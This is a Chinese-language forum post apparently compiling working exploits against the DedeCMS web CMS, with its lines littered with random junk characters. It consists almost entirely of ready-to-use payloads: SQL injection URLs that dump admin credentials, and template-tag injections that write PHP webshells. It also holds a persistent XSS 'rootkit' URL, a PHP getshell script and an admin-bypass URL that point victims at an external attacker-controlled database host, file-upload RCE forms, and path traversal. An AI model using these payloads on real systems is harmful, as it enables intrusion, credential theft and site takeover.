dedecms漏洞总结

admin

( N3 R$ S" N" {. e& _7 gDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
: q/ Z/ }( E$ R; A4 N% a! E
. X5 K5 N; s: }7 h4 l$ }
( p2 v6 e% e1 R1 ~: z& Z
3 z! h$ k! x$ n9 U# n: p
0 s1 S+ Z6 I/ R& t3 h" F- b8 Y! i6 W
% x4 ?+ i  `% k& E" k& r
, Q) w& }$ O+ Z7 P$ J4 C; x: J
( v6 U5 }- h( R6 X4 d3 ?4 S
$ B5 B) w7 j+ {+ `5 N! EDedeCms v5.6 嵌入恶意代码执行漏洞
( W* b( t4 m6 b8 Y, K( M注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
. T% w" Z9 m2 ]+ N8 T  x发表后查看或修改即可执行
1 ]- J  d/ r1 N+ o' f  la{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
$ m3 R$ [: O2 t
, x/ N/ J. x( _+ ~; T* H. ^
% P* b9 s: a9 S% B; a2 i
! u# i" k2 Q: u* f" f- w' G
8 X% w. h5 J0 u0 T& _. Z0 Z0 ~7 ^
' W3 z% l$ v& j- D; g


! C+ R, Z- T& n3 p) T$ xDede 5.6 GBK SQL注入漏洞
( T7 ^4 l& J; E# a. a3 ^http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
5 F; A6 z' `4 {; shttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7








) V" k( C8 M2 u& V4 @" t# k" e; UDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
+ w! u  h9 R( F3 i
, X- D2 r5 F$ d, Z2 N9 ^


7 Y# O. a3 i7 Z1 @/ r- J- D. c7 J) ~
0 b5 c$ n+ ]; R. S
( Z7 U( Z( l0 _/ j* bDEDECMS 全版本 gotopage变量XSS漏洞
; I# ]) o6 H2 X) _: N( i; u  u1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
" c) f4 O* D+ X% {http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
6 |4 W9 Z/ @2 O' o* b  q1 j' i
9 s) ~5 u  v  o8 Y/ M. T$ f0 v
& Y7 T4 q% w' t: C, {2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


  F; ^$ _  O4 z* \* q, ?http://v57.demo.dedecms.com/dede/login.php

, f/ D/ q  p& @: O, _
- P. G9 v( h4 X9 z1 L8 Fcolor=Red]DeDeCMS(织梦)变量覆盖getshell
7 e. q1 q0 O# a2 M% ^$ _2 A#!usr/bin/php -w
0 |8 i) T" U- P$ N$ l! J0 T<?php
error_reporting(E_ERROR);
" _  U1 ]: ^- w  d; l" q+ C' eset_time_limit(0);
print_r('
7 q+ j, I* o9 v- S' G# NDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
( Y8 D; Y% C1 p4 v);
echo "\r\n";
: `2 j+ V2 J9 G7 M- Y& Lif($argv[2]==null){
2 V8 s: x+ u0 ^! [; ?/ w1 K6 D" Cprint_r('
2 F) Z' ?# A9 d  L* H$ ~+---------------------------------------------------------------------------+
& N3 \$ S7 k4 m! X! B# |8 u, Z, Z; RUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
, G$ \" R! J# l) X+ O+---------------------------------------------------------------------------+
');
2 p' q9 @6 `0 H. F- Cexit;
}
$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
  ~! i  l$ D" q& w7 Z, h7 Bif (strpos($exp,"OK")>12){
: M# |5 ?8 m9 A* `3 ]echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

5 D. q( J- h4 P7 w5 g: Z. L2 ]
if($aid==2)echo "
; e) F3 Y0 V8 [; LShell:".$url."/$path/fuck.php\n" ;
, a" A( d; @/ F( ^1 }

if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
: u3 N6 ?) K: p7 Z: X
! D) B" I: U+ {  f3 |4 p
' U/ o" e* u- ^2 w. M}else{
echo "
Exploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
. \4 g4 Y4 j3 v0 a3 b$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
# R4 u& {4 f9 o2 j. W$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; Q/ C) {1 x* h5 @$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
/ u! n( l) ~6 W: J7 E//$data .= "Accept-Encoding: gzip,deflate\r\n";
) S" m. `! d$ K0 i  \5 [5 U$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
8 z0 W! I1 G+ r' }6 f- {) k1 L' F$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- j/ E8 A6 _  t: y5 k+ P$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
- a$ Y; P' e: o+ o0 d- wecho "
- J- r& k3 F4 q" cNo response from ".$host."\n";
}
fwrite($ock,$data);
while (!feof($ock)) {
1 c5 S* [2 I0 i6 L( B: P$exp=fgets($ock, 1024);
return $exp;
. c% _, m2 Z+ C) V* b7 q}
" r' `7 x9 `7 M9 U+ k4 L}


5 V4 o; u, s$ t- X" H) o, I6 f?>

, q" T, y1 a8 q; u$ M- T, G


: e* S% U  w3 k4 Y' q
9 Z- L$ W% O1 Z) D+ O6 s

. |2 ^& L: P) [
9 ^$ i# l: D/ G1 }
) t- n( r* w2 |1 C) {1 b4 j' c
- R( m, M2 p0 R0 D5 S# {- R. ZDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
9 d, w: V$ V- {; shttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台
0 {8 D6 N$ Z+ V# D
6 V0 K9 u2 s) Q5 P1 ^
# Y  a, p  C# y1 d此漏洞的前提是必须得到后台路径才能实现
! N" A& u3 f( [; D3 f, L

: b# n/ o( M+ I& X1 v; n' m
6 `2 h! }; x1 y

$ F/ x0 D) _+ `. m6 h* a
+ [6 t- Z9 S6 h( Y9 U

8 Q3 k- U1 J! X6 N
+ A7 M8 w- z1 y, I' [* N1 \
Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

+ U, S5 l. H5 j% V4 `, `5 N
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
( G7 s, g4 w) H* M7 ?: r" s<form action="" method="post" name="QuickSearch" id="QuickSearch">
) U) O$ n8 ^2 N( c' I<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
8 o3 m* l2 v/ N6 {& }<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
6 G8 P& e7 B: S</form>
( t- ]4 x% w; q, m& i0 M% F<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
5 s: }3 S; l3 D/ R0 [' _5 K! I</script>
# o0 w, ]: X. e




$ V2 y0 l" k* G$ e1 ^! W

3 W% G7 d& c  C( u2 V2 s

' ?9 J5 J: L8 t9 G" t6 [/ n
  n1 M$ K# q9 x: @DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
% `" a& X% A/ XDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

5 n% i0 r8 q$ @* a( u7 J5 _
模板内容是（如果限制图片格式，加gif89a）：
1 h( B7 L9 q$ X0 O: a9 ^% p  x{dede:name runphp='yes'}
2 t* p" K; T( e2 Q8 X4 [$ r$fp = @fopen("1.php", 'a');
. i4 L- _) Y7 U0 f' K@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
8 m" E$ e. Y, u3 u- p@fclose($fp);
8 N$ d0 e+ V' [" Z{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
% L$ J. q! d; _<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
5 E) C! l: }; i0 X. o$ B& y4 }<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
) H1 g8 @6 h, C3 T* I<input type="hidden" name="channelid" value="1" />
* C* g5 P+ O( j- w6 T<input type="hidden" name="oldlitpic" value="" />
) E! z1 j8 k2 ]/ s- z* E<input type="hidden" name="sortrank" value="1275972263" />
- G/ T8 u0 e/ v3 [  Y3 A
) X& H) [, F) i: ~" v) D$ a+ Z
<div id="mainCp">
" D+ S6 k; p3 J0 {1 |; D<h3 class="meTitle"><strong>修改文章</strong></h3>
- |: N0 i9 }  V- w( p

<div class="postForm">
/ L/ _5 A! n  s* q; _<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>标签TAG：</label>
3 j& F* ]& ?8 {$ O7 z<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

% h( Z' H* P# ^4 f" |) G
<label>作者：</label>
/ B2 v1 N- J! `& i5 @& P<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
; H% h7 B, n8 P! ?( R/ D8 Q6 g8 ^

<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
3 r0 Q- Z  s3 F- s</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
/ w( P4 h3 L; x. J

! t, S$ G1 ?4 M0 N<label>我的分类：</label>
<select name='mtypesid' size='1'>
" N. }$ k3 B  w, \9 I$ Z<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
7 k; H" z& v% h: _; _# u
5 y0 O9 I! z) Y8 ~
<label>信息摘要：</label>
6 p+ j  r7 `$ N0 f<textarea name="description" id="description">1111111</textarea>
3 H0 f2 ^6 c, r3 N$ L7 z* c7 o(内容的简要说明)
& n( m; L. x. h2 E# R/ A. A

<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
+ I7 E! m6 V: E6 m- j5 [  y

1 |: _7 a4 c/ p7 L5 n<input type='text' name='templet'
5 W4 a, n9 [% P0 ]7 N  Pvalue="../ uploads/userup/2/12OMX04-15A.jpg">
0 j0 I$ D$ ]9 Z* t( G<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>

' I4 m% W* x6 b2 O6 @- W4 i  k
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

/ |) q  J; P+ \  F
- p) I4 f( V- ]( s<div class="contentShow postForm">
0 S$ W4 x  ]  s/ A$ s<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
7 N$ _# ^* q, n6 c<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
4 v5 {1 Z- Q0 J; \5 a7 _<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
* G( f( i  H1 V+ C& w& w/ R0 G
, K; O" b0 M- @) s( W
( _+ B+ y! _9 [( p; A' l<button class="button2" type="submit">提交</button>
# b3 p& Y. |# j8 r. a' }0 E. G<button class="button2 ml10" type="reset">重置</button>
</div>
! P2 R# q+ V( M% m- ]
7 r' Y% U: z/ K- H6 ?
4 o# L5 u+ S+ M0 g" P8 n</div>

& `$ o. B3 a* H
</form>
2 B5 K# ?2 R' @. I) [8 [
& v9 g; c. ?. [- y3 V& n5 j
$ y( x; b5 v0 A% \提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
, l; n  }4 Y4 Q3 T假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
) L2 G; g5 _1 B4 g2 m即可以在plus目录下生成webshell：1.php



! P$ X6 O0 t- C( B




$ G* T  i9 l. j' c# C



9 E) c- x1 X* j6 Q8 `DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
0 F+ C2 N, d$ h" H# SGif89a{dede:field name='toby57' runphp='yes'}
' A0 U. ]- x% a3 wphpinfo();
# r1 W- g# R) N9 u/ p{/dede:field}
+ g2 s8 O3 g0 K. o2 @保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
0 u  P- _, h% Q* x( N<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
) x  k$ z+ ~3 j2 y7 Q<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
3 y2 k8 `6 q6 h. A<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
2 g* G+ |$ {( j  B<button class="button2" type="submit" >更改</button>
</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
9 S2 x8 G/ m- ?3 }0 c发表文章，然后构造修改表单如下：
) |% X0 _/ F/ h4 U- l. i7 s3 v

# S8 R& R2 B! S: ]0 V' g<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
5 Q6 ?% K. ?4 o4 B/ n0 v# Y<input type="hidden" name="dopost" value="save" />
' J7 J6 Q% l7 d$ @1 `. |8 V<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
; ^0 K5 I6 g8 e1 u1 G<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
5 W: j# V' U* F0 N<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
6 F2 G+ s2 j! Z. Q$ S<select name='mtypesid' size='1'>
# e1 Q8 {0 H. t3 w4 ]<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
. A* D" E" q1 L/ D5 x; W3 y! s7 z<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
5 [9 x9 q. b1 D8 ^<input type='hidden' name='dede_addonfields' value="templet">
1 q) f$ H) _( s1 ^8 ]0 {% L, D<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
# R7 ~& ]" ?# Q<button class="button2" type="submit">提交</button>
</form>


& b$ x  D8 k4 y4 i1 f0 \
1 R% D9 M6 P% l2 c# C& s
8 ~% o8 J2 j, l, P  R# e
/ z7 r: J% S" J: F8 m


8 n  X6 {; ^) ^9 J6 s: M# W

& K3 i2 M0 u+ N3 Z

织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
5 D6 U4 F  c5 B/ W( ]


! R' G. Y9 I( [) k" T7 O

6 u$ ^8 D# D* R. F9 K) G
- T+ p* P$ X0 G& M/ D3 K2 I

! ~4 ?9 r+ S; U7 y* r1 C

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
. [, E7 e! `  A7 a) X
; q5 |* S6 I" D% z



* k  X* l# \( J" P/ A

3 [$ g% X0 C; j( T


3 U. E* }( s% u$ x: |4 sDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
! U! B  M9 x6 x. splus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
: S' ?0 `2 s9 H7 P' D. G



3 M% @) @6 t7 S) y8 f
# }3 [% h0 k# ?/ p  |# H



/ l( U+ l; t$ P# l% B& m* q6 k
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
. Q" h4 k, h% o, X, b1 f# U, vhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

2 p5 u- U9 s% D1 @7 {8 H. Z) z
3 `; Q% X! D" x7 R5 h+ n* o" T
  k! L1 q5 w. F) c& E2 I


/ U# B9 n- q- b' a

/ @4 G* R: l/ |' A% D1 z
+ D$ z3 K7 l  K' p; J: n5 S( D$ E/ B
3 a* c$ |- y7 O1 n织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
; W% Z% D  c+ `7 G$ Q1 U<html>
<head>
- Y% |! J3 Q4 W. b<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
) O  E8 l! o  b: O$ R</head>
) n3 P' z! H2 B' t: D1 r<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
$ b" m! n5 I3 T% M9 l+ ^$ r0 f. Q6 v<input type='hidden' name='cfg_imgtype' value='php' />
- R( }8 L& \" ]+ {<input type='hidden' name='cfg_not_allowall' value='txt' />
, X; x  H' C8 M<input type='hidden' name='cfg_softtype' value='php' />
4 ~4 d2 X6 L2 V9 L7 U<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
5 c; h- K6 R& K$ B<input type='hidden' name='job' value='upload' />
% n- b: y* X9 p) s8 ]<input type='hidden' name='newname' value='fly.php' />
" ^. j# z7 Y2 ^Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
( f' l+ ?* F* Q) D& p' z<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
# g& {# {. F: Z: Y( b/ sFun the game,get a webshell at /data/cache/fly.php...<br />
7 O4 t# ~2 a, p8 v; k) {: k</body>
</html>
0 o2 w' r! S$ L



+ W0 B  [. A" h' j
0 o3 U1 D5 c6 M7 C- c% m
1 G+ {, V; ]7 e& f


/ f+ j$ \8 ]- ?' M+ i- k6 s
( \) [, r) P2 z$ ^织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
9 d$ l4 B+ N; o! ]! W- J* E! P+ T利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息

5 n2 |- s+ B( e- C( d
5 @9 \: L6 w' a- u1 `5 w- l" l! p+ m7 W2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
: U7 h. y3 D2 i9 xError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
" k! u6 L$ k. ]8 o- N
' Y9 X4 K- {3 h2 q# R
( b2 B* I; [$ U( _3 W, y" L3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

8 [) O2 ^# K& Y4 ^. L; i* m
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

' M, ~5 E6 B' |0 g- [+ B
按确定后的看到第2步骤的信息表示文件木马上传成功.

1 C  m- \8 m( T



# g6 H$ X1 ?) h! _& ^5 S





: Z, @4 P! T' @. @
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
6 Q0 J4 ?6 s# [$ v. C' mhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*